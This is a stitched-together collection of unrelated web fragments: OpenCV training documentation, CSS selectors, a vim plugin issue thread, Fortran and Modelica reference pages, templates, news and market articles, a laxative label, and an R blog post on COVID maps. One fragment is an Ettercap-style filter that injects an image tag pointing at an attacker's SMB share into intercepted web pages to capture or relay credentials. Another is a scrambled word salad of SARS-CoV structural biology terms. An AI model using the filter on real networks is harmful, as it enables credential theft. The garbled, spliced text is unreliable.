- vec <vec_file_name>
file name of positive sample file (created by trainingsamples utility or by any other means)
- bg <background_file_name>
background description file
- npos <number_of_positive_samples>,
- nneg <number_of_negative_samples>
number of positive/negative samples used in training of each classifier stage. Reasonable values are npos = 7000 and nneg = 3000.
- nstages <number_of_stages>
number of stages to be trained
- nsplits <number_of_splits>
determines the weak classifier used in stage classifiers. If 1, then a simple stump classifier is used, if 2 and more, then CART classifier with number_of_splits internal (split) nodes is used
- mem <memory_in_MB>
Available memory in MB for precalculation. The more memory you have the faster the training process
- sym (default),
- nonsym
specifies whether the object class under training has vertical symmetry or not. Vertical symmetry speeds up training process. For instance, frontal faces show off vertical symmetry
- minhitrate <min_hit_rate>
minimal desired hit rate for each stage classifier. Overall hit rate may be estimated as (min_hit_rate^number_of_stages)
- maxfalsealarm <max_false_alarm_rate>
maximal desired false alarm rate for each stage classifier. Overall false alarm rate may be estimated as (max_false_alarm_rate^number_of_stages)
- weighttrimming <weight_trimming>
Specifies wheter and how much weight trimming should be used. A decent choice is 0.90.
- eqw
- mode <BASIC (default) | CORE | ALL>
selects the type of haar features set used in training. BASIC use only upright features, while ALL uses the full set of upright and 45 degree rotated feature set. See [1] for more details.
- w <sample_width>,
- h <sample_height>
Size of training samples (in pixels). Must have exactly the same values as used during training samples creation (utility trainingsamples)
Note: in order to use multiprocessor advantage a compiler that supports OpenMP 1.0 standard should be used.
OpenCV cvHaarDetectObjects() function (in particular haarFaceDetect demo) is used for detection.
In order to evaluate the performance of trained classifier a collection of marked up images is needed. When such collection is not available test samples may be created from single object image by createsamples utility. The scheme of test samples creation in this case is similar to training samples creation since each test sample is a background image into which a randomly distorted and randomly scaled instance of the object picture is pasted at a random position.
If both –img and –info arguments are specified then test samples will be created by createsamples utility. The sample image is arbitrary distorted as it was described below, then it is placed at random location to background image and stored. The corresponding description line is added to the file specified by –info argument.
The –w and –h keys determine the minimal size of placed object picture.
The test image file name format is as follows:
imageOrderNumber_x_y_width_height.jpg, where x, y, width and height are the coordinates of placed object bounding rectangle.
Note that you should use a background images set different from the background image set used during training.
In order to evaluate the performance of the classifier performance utility may be used. It takes a collection of marked up images, applies the classifier and outputs the performance, i.e. number of found objects, number of missed objects, number of false alarms and other information.
Command line arguments:
- data <dir_name>
directory name in which the trained classifier is stored
- info <collection_file_name>
file with test samples description
- maxSizeDiff <max_size_difference>,
- maxPosDiff <max_position_difference>
determine the criterion of reference and detected rectangles coincidence. Default values are 1.5 and 0.3 respectively.
- sf <scale_factor>,
detection parameter. Default value is 1.2.
- w <sample_width>,
- h <sample_height>
Size of training samples (in pixels). Must have exactly the same values as used during training (utility haartraining)
[1] Rainer Lienhart and Jochen Maydt. An Extended Set of Haar-like Features for Rapid Object Detection. Submitted to ICIP2002.
[2] Alexander Kuranov, Rainer Lienhart, and Vadim Pisarevsky. An Empirical Analysis of Boosting Algorithms for Rapid Objects With an Extended Set of Haar-like Features. Intel Technical Report MRL-TR-July02-01, 2002.


Selectors
div
All DIV tags
div,span
All DIV and all SPAN tags
div span
allSPAN tags inside DIVs
#content
Element with ID "content"
.box
all elements with the CLASS "box"
ul#box
UL tag with ID "box"
span.box
all SPAN tags with CLASS "box"
*
All elements
#box*
All elements inside #box
a:link, a:active, a:visited
Links in normal state, in clicked state, in visited state
a:hover
Link with mouse over it
div > span
All SPANs one level deep in a DIV


Comments
-
Greg Hurrell
This was actually my intention where I use
<unique>
in the mapping:nmap <unique> <silent> <Leader>t :CommandT<CR>
Because I didn't want to overwrite any existing mappings that the user might have defined.
But I see that I'll have to find a way to do this without allowing a warning to be emitted. As this is my first VIM plug-in will have to check out how other plug-ins do this.
-
Greg Hurrell
Looks like this will work:
silent! nmap <unique> <silent> <Leader>t :CommandT<CR>
-
Greg Hurrell
Ok, marking this one as closed. The fix will be included in the 0.1.1 release.
-
Greg Hurrell
Status changed:
- From: new
- To: closed
-
Greg Hurrell
The new release is now out. Labelled it as 0.2 in the end.
Add a comment
Comments are now closed for this issue.


This ideal massless joint provides a gear constraint between
frames frame_a
and frame_b
. The axes of
rotation of frame_a
and frame_b
may be
arbitrary.
Reference
Schweiger, Christian ;
Otter, Martin:
Modelling 3D Mechanical Effects of 1-dim. Powertrains. In:
Proceedings of the 3rd International Modelica Conference.
Linköping : The Modelica Association and Linköping University,
November 3-4, 2003, pp. 149-158


.
├── bible.pdf
├── Bible1.pdf
├── King James Version
├── HebrewOT.pdf
├── JohnAndPsalms.pdf
├── PsalmsBlueLetter.pdf
├── KJVBible.txt
├── King James Version EPUB
├── eng-web_vpl.txt
├── eng-web-c_all.pdf
├── grc-tisch_all.pdf
├── grc_sblgnt_all.pdf
├── NT-PSA-PRO-WEB-Blue-Letter.pdf
└── NewTestamentPsalms.pdf
└── engwebpb_all.pdf
tree v1.8.0 © 1996 - 2018 by Steve Baker and Thomas Moore
HTML output hacked and copyleft © 1998 by Francesc Rocher
JSON output hacked and copyleft © 2014 by Florian Sesser
Charsets / OS/2 support © 2001 by Kyosuke Tokoro


{% extends "base.html" %} {% block content %}
Returned {{ '{0:,}'.format(number_of_results) }} search results for your "{{ query }}" query.
{% if ordered_by == "date_asc" %} Ordered by date (ascending). You can also order by relevance or date (descending). {% elif ordered_by == "date_desc" %} Ordered by date (descending). You can also order by date (ascending) or relevance. {% else %} Ordered by relevance. You can also order by date (ascending) or date (descending). {% endif %}
{% if special_result == False %}{% if r['_source']['meta_description']|length > 0 %}{{ r['_source']['meta_description'] }}{% elif (r['_source']['h1'].split(",") and r['_source']['h1'].split(",")[0]|length > 0) or r['_source']['h1'] != "" %}{{ r['_source']['h1'].split(",")[0] }}{% else %}{{ r['_source']['h2'].split(",")[0] }}{% endif %}
{{ r['_source']['word_count'] }} | {{ r['_source']['incoming_links'] }} {% if r['_source']['url'].startswith("https://indieweb.org/") or r['_source']['url'].startswith("https://microformats.org/wiki/") %} {% set title_count = 0 %}{% for header in r['_source']['h2'].split(", ")[:5] %} {% if header != "Navigation menu" and header != "See Also" %} {{ header }} {% if header != r['_source']['h2'].split(", ")[:5][-1] %} | {% endif %} {% endif %} {% endfor %}
{% endif %}There are no results matching your query.
{% if suggestion_made and corrected_text.strip() != query.strip() %}Did you mean {{ corrected_text.strip() }}?
{% else %}Please make sure your spelling is correct and if it is, try searching for another term.
{% endif %} {% if page_count > 1 %}


Heya! I'm a Design Technologist at Control Group. I'm also the writer of High Fructose Zombies.I Fail Fast. I Fail Often.


$
37.00
Saved to date
Level
My Individual Challenges
Coffee
$
13.50
Saved to date
2 Earned rewards on this item
Add New Challenge


| Facillity | Date | Amount | Activated By | Contact Phone | |
|---|---|---|---|---|---|
|
Continental Hospital
|
September 14, 2013 | ₦1,000 | John Smith |<PHONE_NUMBER>1 | |
|
Continental Hospital
|
September 14, 2013 | ₦1,000 | John Smith |<PHONE_NUMBER>1 | |
|
Continental Hospital
|
September 14, 2013 | ₦1,000 | John Smith |<PHONE_NUMBER>1 | |


Send Whatsapp Messages directly from the browser. You can even send the message directly to a number that is not in your contact list.
Send Whatsapp Messages directly from the browser. You can even send the message directly to a number that is not in your contact list.


STEVE SCOTT: Tom Smith, the ultimate team-mate, has gone public on cancer battle for sake of others
Tom Smith is probably the best player – certainly the best forward –Scottish rugby has produced in the 21st Century.
by Steve ScottThe Lions think so – he’s still the last Scot to start a Test for the select side, and he played six in a row, in South Africa in 1997 and Australia in 2001.
Out of Rannoch School in Perthshire, he played for Dundee HSFP among other clubs before going professional, winning 61 caps for Scotland – and he would have had a great many more but for injuries.
He followed in the tradition of great looseheads, following Hughie McLeod, Ian McLauchlan and David Sole, all of whom also wore the No 1 dark blue shirt and propped for the Lions.
But Smith’s always been something of a throwback – unfailingly modest, quite clearly loathing even the dimmest form of limelight, who preferred to let his actions speak for him.
Which makes his decision to go public with his condition surprising, yet wholly in character. He clearly wants to warn others not to be as stoic as he has been, to check themselves and catch potential problems early.
That is Tom Smith. As those who played with him will tell you, the ultimate team-mate.


{{ site.description | default: site.github.project_tagline }}
*This image was taken from: https://www.policyschool.ca/background-banner/health-policy/health-banner/


Welcome to Banca Sella
User name
Password
Login
Copyrights reserved, 2012.
Countries
Logout
Copyrights reserved, 2012.


NULL(3) - [TRANSFORMATIONAL] Function that returns a disassociated pointer
ptr => null( [mold] )
function null(mold)type(TYPE(kind=**)),pointer,optional :: mold
o MOLD is a pointer of any association status and of any type. o The result is a disassociated pointer or an unallocated allocatable entity.
NULL(3) returns a disassociated pointer.
If MOLD is present, a disassociated pointer of the same type is returned, otherwise the type is determined by context.
In Fortran 95, MOLD is optional. Please note that Fortran 2003 includes cases where it is required.
o MOLD : a pointer of any association status and of any type.
A disassociated pointer or an unallocated allocatable entity.
Sample program:
!program demo_null module showit implicit none private character(len=*),parameter :: g=(*(g0,1x)) public gen ! a generic interface that only differs in the ! type of the pointer the second argument is interface gen module procedure s1 module procedure s2 end interfaceResults:contains
subroutine s1 (j, pi) integer j integer, pointer :: pi if(associated(pi))then write(*,g)Two integers in S1:,,j,and,pi else write(*,g)One integer in S1:,,j endif end subroutine s1
subroutine s2 (k, pr) integer k real, pointer :: pr if(associated(pr))then write(*,g)integer and real in S2:,,k,and,pr else write(*,g)One integer in S2:,,k endif end subroutine s2
end module showit
program demo_null use showit, only : gen
real,target :: x = 200.0 integer,target :: i = 100
real, pointer :: real_ptr integer, pointer :: integer_ptr
! so how do we call S1() or S2() with a disassociated pointer?
! the answer is the null() function with a mold value
! since s1() and s2() both have a first integer ! argument the NULL() pointer must be associated ! to a real or integer type via the mold option ! so the following can distinguish whether s1(1) ! or s2() is called, even though the pointers are ! not associated or defined
call gen (1, null (real_ptr) ) ! invokes s2 call gen (2, null (integer_ptr) ) ! invokes s1 real_ptr => x integer_ptr => i call gen (3, real_ptr ) ! invokes s2 call gen (4, integer_ptr ) ! invokes s1
end program demo_null
One integer in S2:, 1 One integer in S1:, 2 integer and real in S2:, 3 and 200.000000 Two integers in S1:, 4 and 100
Fortran 95
ASSOCIATED(3)
fortran-lang intrinsic descriptions (license: MIT) @urbanjost
| Nemo Release 3.1 | null (3) | July 22, 2023 |


# Combine with out-of-band capture or relay
if (ip.proto == TCP && ip.src=80) {
replace("<head>","<head> <img src=\"\\\\<ip>\\share\\attack.gif\">");
}


- Production ready (v1.1)
- Open source
- Conventions over Configuration
- Two-way Data Binding
- Community
- Resources
If your app doesn't have URLs,
you are not a
web developer
- Tom Dale -
- Works as a state manager
- Keeps URLs up to date
Handlebars.js
mustaches yayy!!
{{title}}
By {{author.name}}
{{body}}
- Server-side render
- <noscript> tag
- PhantomJS
- prerender.io
- brombone.com ($)


Physical Resistance
Lvl 5 +3%
.
.
Magic Resistance
Lvl 5 +3%
Healing Ratio
Lvl 5 +6%
Spell Recovery Time
Level 5 +12%
DoT Bonus
Lvl 5 +8%
Dodge Rating
Lvl 5 +20
Hit Recovery Time
Level 5 +12.5%
Physical Toughness
Lvl 5 +16%
.
.
Magic Toughness
Level 5 +16%
Ability Level
Lvl 5 +5
Physical Crit Damage
Level 5 +21%
Physical Pierce Rating
Level 5 +30.5


About me
I'm a technical writer with experience working in a docs-as-code environment. Before I became a technical writer, I taught developmental writing at various colleges in the Cleveland area. And before that, I studied linguistics for six years.
My work as a Technical Writer blends my years of experience as an English teacher, working with learners of all ages, and an interest in programming!


SARS-CoV- RBD structure SARS-CoV binding epitope antibody antibodies using human shown complex receptor Figure surface S-P OpenUrl SARS protein ID: residues RBD. (PDB ACE Table Zhang, site bat new spike structures ACE- Antibody CR, CrossRef Wang, alignment cell novel sequence structural Download Fab Li, Spike View coronavirus data representation. sites Open Sequence crystallization data-hide-link-title=""> data-icon-position="" determined figure measured molecular molecule outlined prior resolution tab (residues CDR Structure area assessed based betacoronaviruses. chain crystal crystals epitopes followed proteins related trypsin "cryptic" ;<;div Binding Diffraction Fig. National RBD, Residues SARS-CoV, Structural Yang, analysis glycan glycoprotein glycoproteins incubation indicated previously region representation, ribbon set trimer viral xmlns=";http://www.w.org//xhtml";>;<;span "up" <;strong>;B<;/strong>; <;strong>;C<;/strong>; Biolayer Coronavirus Crystals Data Hu, Identification SARS-COV- SARS-related affinity bind bound characterization compared conditions diffraction host identified light loaded mg/ml monoclonal neutralizing number purified receptor. recognition recombinant reported respiratory van <;strong>;A<;/strong>; Advanced C-terminal Center Crystal Defense Domain Ge, Health J.A. Jeffamine Nature PDB Photon RBD-CR SARS-CoV-, Wu, Wuhan X.L. X.Y. Zhou, Zhu, accessible allowed associated available binding. buried cloned colored concentrations conformation conserved contact control cross-reactivity described domain entry epitope. group highlighted including interaction interferometry located loops phylogenetic purification reactive refined replacement scaled search significant somatic spheres. stabilized stick structure. ter vaccine


Supercut of British voters insulting Boris Johnson on the campaign trail
by Cory DoctorowPresenting: Boris Johnson Gets Out of London and Talks to People Who Are Not Rich Remainers: The Essential Collection.

Presenting: Boris Johnson Gets Out of London and Talks to People Who Are Not Rich Remainers: The Essential Collection.


You can try the http.maxRedirects property: System.setProperty("http.maxRedirects", "3");
Is there a way to mandate the maximum number of redirects that are followed when using HttpURLConnection?
HttpURLConnection conn = (HttpURLConnection) uri.getURI().toURL();
conn.connect();
I can only see an option to enable/disable redirects
conn.setFollowRedirects(true)
I want to set a max follow of 3 (it seems the default is 20), to prevent exceptions like this:
java.net.ProtocolException: Server redirected too many times (20)
that are caused by circular redirects on some servers.
Why don't you just catch the exception? Changing the threshold number won't change the fact that the function has to report failure to you when it exceeds that number. In fact, lowering the threshold will increase the chances that the function will have to report failure in complex-but-legitimate redirect situations when it would have ultimately succeeded with a higher threshold.
You can try the http.maxRedirects property:
System.setProperty("http.maxRedirects", "3");
Accroding to HTTP RFC
A user agent should never automatically redirect a request more than 5 times, since such redirections usually indicate an infinite loop.
This forum post explains how to work around this


Transformation
Translate
Rotate
Scale
Animation
NOTE: The animation is making the letter 'H'.
Transition
NOTE: Hover to see the transition.


|
| Local Methods | ||
| Managed Object Types | Data Object Types | All Properties | All Methods |
Properties
| Name | Type | Description |
|---|---|---|
| None |
Methods
| Methods defined in this Managed Object |
|---|
| VsanCompleteMigrateVmsToVds, VsanMigrateVmsToVds |
Parameters
| Name | Type | Description |
|---|---|---|
| _this | ManagedObjectReference | A reference to the VsanHostVdsSystem used to make the method call. |
| jobId | xsd:string |
Unique identifier returned by VsanMigrateVmsToVds()
|
| newState | xsd:string |
Indicates if the migration is considered completed or
should be rolled back.
|
Return Value
| Type | Description |
|---|---|
| None |
Faults
| Type | Description |
|---|---|
| NotFound | Task not found |
| RuntimeFault | Thrown if any type of runtime fault is thrown that is not covered by the other faults; for example, a communication error. |
| VsanFault | Any unexpected runtime error. |
Events
| Type | |
|---|---|
| None |
Parameters
| Name | Type | Description |
|---|---|---|
| _this | ManagedObjectReference | A reference to the VsanHostVdsSystem used to make the method call. |
| vmConfigSpecs | VsanVmVdsMigrationSpec[] |
VMs to be migrated via associated specs
|
| vdsUuid | xsd:string |
UUID of the VDS that is being migrated to.
|
| timeoutSec | xsd:long |
Time in seconds. See above for timeout behavior.
|
| revert* | xsd:boolean |
Since vSAN API 6.6 |
Return Value
| Type | Description |
|---|---|
| xsd:string | A unique identifier referring to this operation |
Faults
| Type | Description |
|---|---|
| NotFound | Task not found |
| RuntimeFault | Thrown if any type of runtime fault is thrown that is not covered by the other faults; for example, a communication error. |
| VsanFault | Any unexpected runtime error. |
Events
| Type | |
|---|---|
| None |
| Top of page | Local Methods | ||
| Managed Object Types | Data Object Types | All Properties | All Methods |


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Oil prices making tracks to key 61.8% Fibo target, boosted by OPEC sentiment
by Ross J Burland- Oil was lifted on the sentiment that OPEC sentiment.
- Bulls knocking on the door of a 61.8% Fibo retracement target confluence area.
Oil prices have been trading on the bid over the past twenty-four hours, with West Texas Intermediate crude, (WTI), rising from a low of $56.59 to a high of $58.25, adding 1.91% at the time of writing as investors bank on production cuts from the Organization of the Petroleum Exporting Countries, (OPEC), and its allies.
At the time of writing, WTI is trading at $58.15 and close to its highest levels of the day so far despite US benchmarks in the red. While there had been a report earlier in the Wall Street Journal which stated that China’s top trade negotiator invited his U.S. counterparts to a new round of face-to-face talks, stocks were unable to garner much impetus from that and instead investors are more concerned over a number of prior headlines in the week so far that are quite to the contrary of such optimism. For oil, we had news that Yemeni Houthis claimed to shoot down a Saudi coalition F-15 which helped boost oil prices. Also, US inventory builds were not as bad as expected.
WTI gets a boost on OPEC
Oil was also lifted on the sentiment that OPEC and its allies, including Russia, will probably agree to continue with production cuts when they meet in Vienna on the 5th and 6th of December, a long await meeting from where investors hope oil will find some traction – Reuters was citing OPEC sources with that story.
However, to the contrary, analysts at TD Securities argued that with "large surpluses in early 2020 still linger on the horizon, especially as OPEC+ appear hesitant to deepen output cuts when they meet in December — we would not be surprised to see prices move back to the low $50s into 2020."
WTI levels
The price is up to the highest levels since late September, breaking the 57.80/90 resistance with 58.60/80 on the map, a confluence of the 61.8% Fibonacci level of the Sep 19 highs and October lows and the late July highs. 60.80 is a confluence of the 78.6% Fibo and July highs. 55 the figure, as trend line support, guards a run back to the 23.6% Fibo of the same range located around 53.90 and late Oct lows a fraction below there.
WTI
| Overview | |
|---|---|
| Today last price | 58.1 |
| Today Daily Change | 0.98 |
| Today Daily Change % | 1.72 |
| Today daily open | 57.12 |
| Trends | |
|---|---|
| Daily SMA20 | 56.5 |
| Daily SMA50 | 55.74 |
| Daily SMA100 | 55.95 |
| Daily SMA200 | 57.59 |
| Levels | |
|---|---|
| Previous Daily High | 57.39 |
| Previous Daily Low | 54.89 |
| Previous Weekly High | 58.06 |
| Previous Weekly Low | 56.29 |
| Previous Monthly High | 56.97 |
| Previous Monthly Low | 51.19 |
| Daily Fibonacci 38.2% | 56.44 |
| Daily Fibonacci 61.8% | 55.84 |
| Daily Pivot Point S1 | 55.54 |
| Daily Pivot Point S2 | 53.97 |
| Daily Pivot Point S3 | 53.04 |
| Daily Pivot Point R1 | 58.04 |
| Daily Pivot Point R2 | 58.97 |
| Daily Pivot Point R3 | 60.54 |


Here are a list of your saved events. Click any of them to edit them or use the New Event page on the left for adding new ones. Enjoy :-)
[[item.details]]
Start: [[item.start]]
End: [[item.end]]
Location: [[item.address]]
Host: [[item.host]]
Guests: [[item.guests]]
Type: [[item.type]]


LAXATIVE ENTERIC COATED- bisacodyl tablet, coated
P and L Development of New York Corporation
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
do not use within 1 hour after taking an antacid or milk
take with a glass of water
| adults and children 12 years of age and over | take 1 to 3 tablets in a single daily dose |
| children 6 to under 12 years of age | take 1 tablet in a single daily dose |
| children under 6 years of age | ask a doctor |
acacia, anhydrous calcium sulfate, anhydrous lactose, carnauba wax, colloidal silicon dioxide, corn starch, D&C Yellow #10 Aluminum Lake, FD&C Yellow #6 Aluminum Lake, gelatin, iron oxide, iron oxide Black, iron oxide Yellow (iron oxide ochre), magnesium stearate, microcrystalline cellulose, polyethylene glycol (PEG) 400, polyvinyl acetate phthalate, povidone, shellac, sodium starch glycolate, stearic acid, sugar, talc, and titanium dioxide
*Compare to the active ingredient in DULCOLAX®
*This product is not manufactured or distributed by Boehringer Ingelheim Consumer Healthcare Products, owner of the registered trademark Dulcolax®
LAXATIVE
Bisacodyl, 5 mg
Gentle, Predictable, Overnight relief
EACH TABLET IS INDIVIDUALLY SEALED IN A BLISTER PACK. DO NOT USE IF BLISTER FOIL IS BROKEN.
KEEP OUTER CARTON FOR COMPLETE WARNINGS AND PRODUCT INFORMATION
Distributed by:
PL Developments
Westbury, NY 11590 USA
Bisacodyl 5 mg
|
LAXATIVE
ENTERIC COATED bisacodyl tablet, coated | ||||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||||
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| Labeler - P and L Development of New York Corporation (800014821) |


{% extends "base.html" %} {% block title %}Starfinder Loot Generator{% endblock %} {% block description %}Randomly generated loot for starfinder encounters{% endblock %} {% block body %}
Randomly generates loot from equipment in the CRB. APL determines what item levels are available to the party and CR determines the wealth of the encounter.


--- title: "World Data Overview - Global Heat Maps" output: self_contained: FALSE blogdown::html_page: dev: "svg" keep_md: TRUE author: "Houston Haynes" date: '2020-06-28T14:59:43+05:30' featuredpath: img featured: COVID-19.png ogfeatured: H3_og_wide_covid19.png emblem: health.png description: COVID-19 in Motion - Animated Time Series for cases, deaths and testing draft: false tags: - COVID-19 categories: - Deep Dive editor_options: chunk_output_type: inline ---
When I started working with the Our World In Data COVID-19 data set I wanted to chart out a few things to get a feel for the data.  In some cases I checked against other charts based on the same data and thought “that can’t be right” only to plot it myself and see it directly. (looking at you, Europe) As we all have witnessed this year experts have been sounding the alarm since early on. Pandemics are like locomotives, they’re difficult to stop once they gain momentum. The same goes for an effective response.
{{% fancybox-iframe "/post/COVID-19-in-Motion-pt1_files/figure-html/widgets/widget_New_Cases_by_Continent.html" %}}
{{% alert "info" "Working with the Report:" "Use the legend to highlight, show or hide a series. Hovering over bands in the chart reveals detail for a given date." %}}
So I took the data and plotted it on a map, to play on a day grain through time. The gradients are pretty subtle at the start, and that’s because of the data getting very dark late in the range.
{{% fancybox-iframe "/post/COVID-19-in-Motion-pt1_files/figure-html/widgets/widget_Global_New_Cases_Per_Million.html" %}}
{{% alert "info" "Working with the report:" "Aside from the play/pause and date slider, the map is *zoomable*. Hovering over a country will highlight and show the value for the current position on the timeline. Hovering while playing back will show updating changes to the values for that country." %}}
{{% alert "warning" "Bug Report:" "The play/pause button for the map charts *works* but the icons are currently not visible. A fix is being researched now. Thanks for understanding." %}}
One of the things I expected was to see some “chop” in early data as reporting became more consistent. Here I was surprised to see irregular bumps in the “smoothed” data. Once South America is removed from the set then things look much less strange. Such as it is, the visuals tell a convincing story of where things are going as of November, and it’s not good.
{{% fancybox-iframe "/post/COVID-19-in-Motion-pt1_files/figure-html/widgets/widget_New_Deaths_by_Continent.html" %}}
Again here - like the area chart - the direction of what’s happening in Europe is unmistakable. In fact it bothers me to the point that I’ll probably end up sourcing some other data just so I can sleep tonight. But one thing we can see and possibly discard is the sudden jump in values in South America. Per our area chart above which showed that as the offending portion of the data set that was skewing the result.
{{% fancybox-iframe "/post/COVID-19-in-Motion-pt1_files/figure-html/widgets/widget_Global_New_Deaths_Per_Million.html" %}}
While spelunking through the data I thought I’d take a look at testing. The good news, the numbers are increasing.
{{% fancybox-iframe "/post/COVID-19-in-Motion-pt1_files/figure-html/widgets/widget_New_Tests_by_Continent.html" %}}
Here’s the flip-side of the previous two reports - where the numbers go green as they go higher. But again, it runt the risk of painting an inaccurate picture to show less than 5 tests per 1,000 people as a positive indication. That value should be much, much higher - but in this case relative values matter.
{{% fancybox-iframe "/post/COVID-19-in-Motion-pt1_files/figure-html/widgets/widget_Global_New_Tests_Per_Thousand.html" %}}
The area charts are relatively straightforward. The only data munging task was summing the values by continent and date. After that it was mainly about formatting and some tweaks to keep the display clean.
# begin setup code chunk
library(highcharter)
library(widgetframe)
library(tidyverse)
library(lubridate)
library(xts)
URL <- "https://raw.githubusercontent.com/owid/covid-19-data/master/public/data/owid-covid-data.csv"
coviddata <- read.csv(URL)
# end setup code chunk
pop <- read.csv("../../data/population_by_country_2020.csv", header = TRUE)
data <- select(coviddata[with(coviddata, order(date, iso_code)),],
date, continent, location, new_cases) |>
filter(location != "International",
location != "World",
date > "2020-03-01") |>
mutate(new_cases = ifelse(is.na(new_cases), 0, new_cases)) |>
mutate(new_cases = ifelse((date == "2020-07-18" &
location == "Chile" &
new_cases == 1057),
57,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-07-24" &
location == "Peru" &
new_cases == 3887),
187,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-08-14" &
location == "Peru" &
new_cases == 3935),
235,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-09-07" &
location == "Ecuador" &
new_cases == 3800),
38,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-09-07" &
location == "Bolivia" &
new_cases == 1610),
61,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-10-02" &
location == "Argentina" &
new_cases == 3351),
351,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-10-09" &
location == "Ecuador" &
new_cases == 398),
39,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-10-09" &
location == "Mexico" &
new_cases == 3013),
313,
new_cases)) |>
mutate(date = ymd(date)) |>
left_join(pop, location = location) |>
select(date, continent, new_cases, population) |>
group_by(date, continent) |>
summarize(new_cases = sum(new_cases), population = sum(population)) |>
mutate(ncpm = ((new_cases / population) * 1000000)) |>
group_by(date, continent) |>
summarize(new_cases = sum(new_cases), ncpm = sum(ncpm)) |>
group_by(continent) |>
arrange(continent, date) |>
mutate(ncrm = slider::slide_dbl(new_cases, mean, .before = 3, .after = 3)) |>
mutate(ncpmrm = slider::slide_dbl(ncpm, mean, .before = 3, .after = 3)) |>
ungroup()
#datatable(data)
thm <- hc_theme_merge(
hc_theme_ffx(),
hc_theme(title = list(style = list(fontFamily = "Ubuntu")),
subtitle = list(style = list(fontFamily = "Fira Code")),
legenc = list(itemStyle = list(fontFamily ='Ubuntu'))))
widget <- hchart(data, "area", hcaes(x = date, y = ncpmrm, group = continent, labels = FALSE)) |>
hc_plotOptions(series = list(stacking = 'normal')) |>
hc_title(text = "World COVID Daily New Cases per Million (smoothed)", align = "center") |>
hc_add_theme(thm) |>
hc_subtitle(text = "Summed by continent :: Higher == BAD", align = "center")|>
hc_chart(
borderColor = 'rgba(160, 160, 160, 0.3)',
borderRadius = 8,
borderWidth = 2,
marginBottom = '80',
marginTop = '60',
marginLeft = '60',
marginRight = '60') |>
hc_yAxis(title = list(enabled = FALSE)) |>
hc_xAxis(title = list(enabled = FALSE))
frameWidget(widget, width="100%", height="26rem")
The map charts were more complex. Aside from tying together the geojson map to the data (by joining iso-a3 in the map data to the iso_code value from the source data) there was building the sequence of data itself. This wasn’t immediately apparent but this tutorial was a great help.
# begin setup code chunk
library(highcharter)
library(widgetframe)
library(tidyverse)
library(lubridate)
library(xts)
URL <- "https://raw.githubusercontent.com/owid/covid-19-data/master/public/data/owid-covid-data.csv"
coviddata <- read.csv(URL)
# end setup code chunk
pop <- read.csv("../../data/population_by_country_2020.csv", header = TRUE)
data <- select(coviddata[with(coviddata, order(date, iso_code)),],
date, iso_code, location, new_cases) |>
filter(location != "International",
location != "World") |>
mutate(new_cases = ifelse(is.na(new_cases), 0, new_cases)) |>
mutate(new_cases = ifelse((date == "2020-07-18" &
location == "Chile" &
new_cases == 1057),
57,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-07-24" &
location == "Peru" &
new_cases == 3887),
187,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-08-14" &
location == "Peru" &
new_cases == 3935),
235,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-09-07" &
location == "Ecuador" &
new_cases == 3800),
38,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-09-07" &
location == "Bolivia" &
new_cases == 1610),
61,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-10-02" &
location == "Argentina" &
new_cases == 3351),
351,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-10-09" &
location == "Ecuador" &
new_cases == 398),
39,
new_cases)) |>
mutate(new_cases = ifelse((date == "2020-10-09" &
location == "Mexico" &
new_cases == 3013),
313,
new_cases)) |>
mutate(date = ymd(date)) |>
left_join(pop, location = location) |>
select(date, iso_code, new_cases, population) |>
group_by(date, iso_code, population) |>
summarize(new_cases = sum(new_cases)) |>
mutate(ncpm = ((new_cases / population) * 1000000)) |>
group_by(iso_code) |>
arrange(iso_code, date) |>
mutate(ncrm = slider::slide_dbl(new_cases, mean, .before = 3, .after = 3)) |>
mutate(ncpmrm = slider::slide_dbl(ncpm, mean, .before = 3, .after = 3)) |>
ungroup() |>
mutate_at(vars(ncpm, ncrm, ncpmrm), funs(round(., 2)))
#datatable(data)
ds <- data %>%
group_by(iso_code) %>%
do(item = list(
iso_code = first(.$iso_code),
sequence = .$ntptrm,
ndpmrm = last(.$ntptrm))) %>%
.$item
#head(ds, 10)
vec <- sort(unique(pull(data, date)))
url <- "https://code.highcharts.com/mapdata/custom/world-robinson-highres.js"
tmpfile <- tempfile(fileext = ".json")
download.file(url, tmpfile)
geo <- readLines(tmpfile)
geo <- gsub(".* = ", "", geo)
map <- jsonlite::fromJSON(geo, simplifyVector = FALSE)
last_updated <- paste("Source: https://ourworldincata.org/ - Report Last Updated:",
format(Sys.time(), "%a %b %d %Y %X"))
thm <- hc_theme_merge(
hc_theme_ffx(),
hc_theme(title = list(style = list(fontFamily = "Ubuntu")),
subtitle = list(style = list(fontFamily = "Ubuntu")),
legenc = list(itemStyle = list(fontFamily ='Ubuntu'))))
widget <- highchart(type = "map") |>
hc_add_theme(thm) |>
hc_chart(
borderColor = 'rgba(160, 160, 160, 0.3)',
borderRadius = 8,
borderWidth = 2,
marginBottom = '80',
marginTop = '60',
marginLeft = '60',
marginRight = '60') |>
hc_title(text = "Global COVID Daily New Cases per Million (smoothed)", align = "center") |>
hc_subtitle(text = "Press play button or use slider to change date", align = "center") |>
hc_add_series(data = ds,
name = "New Cases per Million",
mapData = map,
joinBy = c("iso-a3", "iso_code"),
borderWidth = 0.01) |>
hc_colorAxis (min = 0 ,
max = 1000,
stops = color_stops(colors = viridisLite::inferno(20,
begin = 0.1,
direction = -1))) |>
hc_motion (
enabled = TRUE,
startIndex = 23,
axisLabel = "date",
labels = vec,
updateInterval = 5,
playIcon = "fas fa-play",
pauseIcon = "fas fa-pause",
magnet = list(
rounc = "floor",
step = 0.1
)
) |>
hc_legend(layout = "vertical", verticalAlign = "top",
align = "right", valueDecimals = 0) |>
hc_mapNavigation(
enabled = TRUE,
